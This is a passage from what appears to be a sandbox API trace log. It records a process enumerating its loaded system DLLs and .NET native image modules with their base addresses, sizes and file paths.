nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0236.487] CoTaskMemFree (pv=0x6682db0) [0236.487] GetModuleInformation (in: hProcess=0x288, hModule=0x773f0000, lpmodinfo=0x26b3f38, cb=0xc | out: lpmodinfo=0x26b3f38*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0236.487] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.487] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x773f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0236.487] CoTaskMemFree (pv=0x6682db0) [0236.487] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.487] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x773f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0236.488] CoTaskMemFree (pv=0x6682db0) [0236.488] GetModuleInformation (in: hProcess=0x288, hModule=0x77490000, lpmodinfo=0x26b604c, cb=0xc | out: lpmodinfo=0x26b604c*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0236.488] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.488] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77490000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0236.488] CoTaskMemFree (pv=0x6682db0) [0236.488] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.488] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77490000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0236.488] CoTaskMemFree (pv=0x6682db0) [0236.488] GetModuleInformation (in: hProcess=0x288, hModule=0x75f70000, lpmodinfo=0x26b8158, cb=0xc | out: lpmodinfo=0x26b8158*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0236.489] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.489] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75f70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0236.489] CoTaskMemFree (pv=0x6682db0) [0236.489] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.489] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75f70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0236.489] CoTaskMemFree (pv=0x6682db0) [0236.489] GetModuleInformation (in: hProcess=0x288, hModule=0x758a0000, lpmodinfo=0x26ba264, cb=0xc | out: lpmodinfo=0x26ba264*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0236.489] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.489] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x758a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0236.490] CoTaskMemFree (pv=0x6682db0) [0236.490] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.490] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x758a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0236.490] CoTaskMemFree (pv=0x6682db0) [0236.490] GetModuleInformation (in: hProcess=0x288, hModule=0x75670000, lpmodinfo=0x26bc3bc, cb=0xc | out: lpmodinfo=0x26bc3bc*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0236.490] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.490] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75670000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0236.490] CoTaskMemFree (pv=0x6682db0) [0236.491] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.491] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75670000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0236.491] CoTaskMemFree (pv=0x6682db0) [0236.491] GetModuleInformation (in: hProcess=0x288, hModule=0x75660000, lpmodinfo=0x26be4c8, cb=0xc | out: lpmodinfo=0x26be4c8*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0236.491] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.491] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75660000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0236.491] CoTaskMemFree (pv=0x6682db0) [0236.491] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.491] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75660000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0236.492] CoTaskMemFree (pv=0x6682db0) [0236.492] GetModuleInformation (in: hProcess=0x288, hModule=0x73620000, lpmodinfo=0x26c05dc, cb=0xc | out: lpmodinfo=0x26c05dc*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0236.492] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.492] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73620000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0236.492] CoTaskMemFree (pv=0x6682db0) [0236.492] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.492] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73620000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0236.493] CoTaskMemFree (pv=0x6682db0) [0236.493] GetModuleInformation (in: hProcess=0x288, hModule=0x75db0000, lpmodinfo=0x26c2724, cb=0xc | out: lpmodinfo=0x26c2724*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0236.493] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.493] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75db0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0236.493] CoTaskMemFree (pv=0x6682db0) [0236.493] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.493] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75db0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0236.494] CoTaskMemFree (pv=0x6682db0) [0236.494] GetModuleInformation (in: hProcess=0x288, hModule=0x75810000, lpmodinfo=0x26c4830, cb=0xc | out: lpmodinfo=0x26c4830*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0236.494] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.494] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75810000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0236.494] CoTaskMemFree (pv=0x6682db0) [0236.494] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.494] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75810000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0236.495] CoTaskMemFree (pv=0x6682db0) [0236.495] GetModuleInformation (in: hProcess=0x288, hModule=0x75e10000, lpmodinfo=0x26c6934, cb=0xc | out: lpmodinfo=0x26c6934*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0236.495] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.495] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75e10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0236.495] CoTaskMemFree (pv=0x6682db0) [0236.495] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.495] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75e10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0236.496] CoTaskMemFree (pv=0x6682db0) [0236.496] GetModuleInformation (in: hProcess=0x288, hModule=0x772c0000, lpmodinfo=0x26c8a40, cb=0xc | out: lpmodinfo=0x26c8a40*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0236.496] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.496] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x772c0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0236.496] CoTaskMemFree (pv=0x6682db0) [0236.496] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.496] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x772c0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0236.497] CoTaskMemFree (pv=0x6682db0) [0236.497] GetModuleInformation (in: hProcess=0x288, hModule=0x75a30000, lpmodinfo=0x26cab3c, cb=0xc | out: lpmodinfo=0x26cab3c*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0236.497] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.497] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0236.497] CoTaskMemFree (pv=0x6682db0) [0236.498] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.498] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0236.498] CoTaskMemFree (pv=0x6682db0) [0236.498] GetModuleInformation (in: hProcess=0x288, hModule=0x75ae0000, lpmodinfo=0x26ccccc, cb=0xc | out: lpmodinfo=0x26ccccc*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0236.498] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.498] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0236.499] CoTaskMemFree (pv=0x6682db0) [0236.499] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.499] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0236.499] CoTaskMemFree (pv=0x6682db0) [0236.499] GetModuleInformation (in: hProcess=0x288, hModule=0x75be0000, lpmodinfo=0x26cedd0, cb=0xc | out: lpmodinfo=0x26cedd0*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0236.499] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.499] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75be0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0236.500] CoTaskMemFree (pv=0x6682db0) [0236.500] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.500] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75be0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0236.500] CoTaskMemFree (pv=0x6682db0) [0236.500] GetModuleInformation (in: hProcess=0x288, hModule=0x73610000, lpmodinfo=0x26d0ed4, cb=0xc | out: lpmodinfo=0x26d0ed4*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0236.501] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.501] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73610000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0236.501] CoTaskMemFree (pv=0x6682db0) [0236.501] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.501] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73610000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0236.501] CoTaskMemFree (pv=0x6682db0) [0236.501] GetModuleInformation (in: hProcess=0x288, hModule=0x72f40000, lpmodinfo=0x26d2fe0, cb=0xc | out: lpmodinfo=0x26d2fe0*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0236.502] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.502] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72f40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0236.505] CoTaskMemFree (pv=0x6682db0) [0236.505] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.506] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72f40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0236.506] CoTaskMemFree (pv=0x6682db0) [0236.506] GetModuleInformation (in: hProcess=0x288, hModule=0x75540000, lpmodinfo=0x26d5110, cb=0xc | out: lpmodinfo=0x26d5110*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0236.507] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.507] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0236.507] CoTaskMemFree (pv=0x6682db0) [0236.507] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.507] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0236.508] CoTaskMemFree (pv=0x6682db0) [0236.508] GetModuleInformation (in: hProcess=0x288, hModule=0x74310000, lpmodinfo=0x26d7244, cb=0xc | out: lpmodinfo=0x26d7244*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0236.508] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.508] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x74310000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0236.508] CoTaskMemFree (pv=0x6682db0) [0236.508] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.508] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x74310000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0236.509] CoTaskMemFree (pv=0x6682db0) [0236.509] GetModuleInformation (in: hProcess=0x288, hModule=0x77060000, lpmodinfo=0x26d93ec, cb=0xc | out: lpmodinfo=0x26d93ec*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0236.509] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.509] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77060000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0236.510] CoTaskMemFree (pv=0x6682db0) [0236.510] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.510] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77060000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0236.510] CoTaskMemFree (pv=0x6682db0) [0236.510] GetModuleInformation (in: hProcess=0x288, hModule=0x73e60000, lpmodinfo=0x26db4f0, cb=0xc | out: lpmodinfo=0x26db4f0*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0236.511] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.511] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73e60000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0236.511] CoTaskMemFree (pv=0x6682db0) [0236.511] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.511] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73e60000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0236.512] CoTaskMemFree (pv=0x6682db0) [0236.512] GetModuleInformation (in: hProcess=0x288, hModule=0x72590000, lpmodinfo=0x26dd5fc, cb=0xc | out: lpmodinfo=0x26dd5fc*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0236.512] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.512] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72590000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0236.513] CoTaskMemFree (pv=0x6682db0) [0236.513] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.513] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72590000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0236.513] CoTaskMemFree (pv=0x6682db0) [0236.513] GetModuleInformation (in: hProcess=0x288, hModule=0x71e70000, lpmodinfo=0x26df798, cb=0xc | out: lpmodinfo=0x26df798*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0236.514] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.514] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71e70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0236.514] CoTaskMemFree (pv=0x6682db0) [0236.514] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.514] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71e70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0236.515] CoTaskMemFree (pv=0x6682db0) [0236.515] GetModuleInformation (in: hProcess=0x288, hModule=0x73c90000, lpmodinfo=0x26e1954, cb=0xc | out: lpmodinfo=0x26e1954*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0236.515] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.515] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73c90000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0236.516] CoTaskMemFree (pv=0x6682db0) [0236.516] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.516] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73c90000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0236.516] CoTaskMemFree (pv=0x6682db0) [0236.516] GetModuleInformation (in: hProcess=0x288, hModule=0x73f00000, lpmodinfo=0x26e3b48, cb=0xc | out: lpmodinfo=0x26e3b48*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0236.517] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.517] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73f00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0236.517] CoTaskMemFree (pv=0x6682db0) [0236.517] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.517] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73f00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0236.518] CoTaskMemFree (pv=0x6682db0) [0236.518] GetModuleInformation (in: hProcess=0x288, hModule=0x76e30000, lpmodinfo=0x26e5c88, cb=0xc | out: lpmodinfo=0x26e5c88*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0236.518] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.518] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x76e30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0236.519] CoTaskMemFree (pv=0x6682db0) [0236.519] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.519] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x76e30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0236.519] CoTaskMemFree (pv=0x6682db0) [0236.519] GetModuleInformation (in: hProcess=0x288, hModule=0x73b00000, lpmodinfo=0x26e7d9c, cb=0xc | out: lpmodinfo=0x26e7d9c*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0236.520] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.520] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73b00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0236.520] CoTaskMemFree (pv=0x6682db0) [0236.520] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.520] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73b00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0236.521] CoTaskMemFree (pv=0x6682db0) [0236.521] GetModuleInformation (in: hProcess=0x288, hModule=0x71210000, lpmodinfo=0x26e9f68, cb=0xc | out: lpmodinfo=0x26e9f68*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0236.522] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.522] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71210000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0236.522] CoTaskMemFree (pv=0x6682db0) [0236.522] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.522] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71210000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0236.523] CoTaskMemFree (pv=0x6682db0) [0236.523] GetModuleInformation (in: hProcess=0x288, hModule=0x73ee0000, lpmodinfo=0x26ec158, cb=0xc | out: lpmodinfo=0x26ec158*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0236.523] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.523] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0236.524] CoTaskMemFree (pv=0x6682db0) [0236.524] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.524] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0236.524] CoTaskMemFree (pv=0x6682db0) [0236.524] GetModuleInformation (in: hProcess=0x288, hModule=0x73ac0000, lpmodinfo=0x26ee370, cb=0xc | out: lpmodinfo=0x26ee370*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0236.525] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.525] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ac0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0236.526] CoTaskMemFree (pv=0x6682db0) [0236.526] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.526] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ac0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0236.526] CoTaskMemFree (pv=0x6682db0) [0236.526] GetModuleInformation (in: hProcess=0x288, hModule=0x73a30000, lpmodinfo=0x26f047c, cb=0xc | out: lpmodinfo=0x26f047c*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0236.527] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.527] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.527] CoTaskMemFree (pv=0x6682db0) [0236.527] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.527] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0236.528] CoTaskMemFree (pv=0x6682db0) [0236.528] GetModuleInformation (in: hProcess=0x288, hModule=0x73a10000, lpmodinfo=0x26f2644, cb=0xc | out: 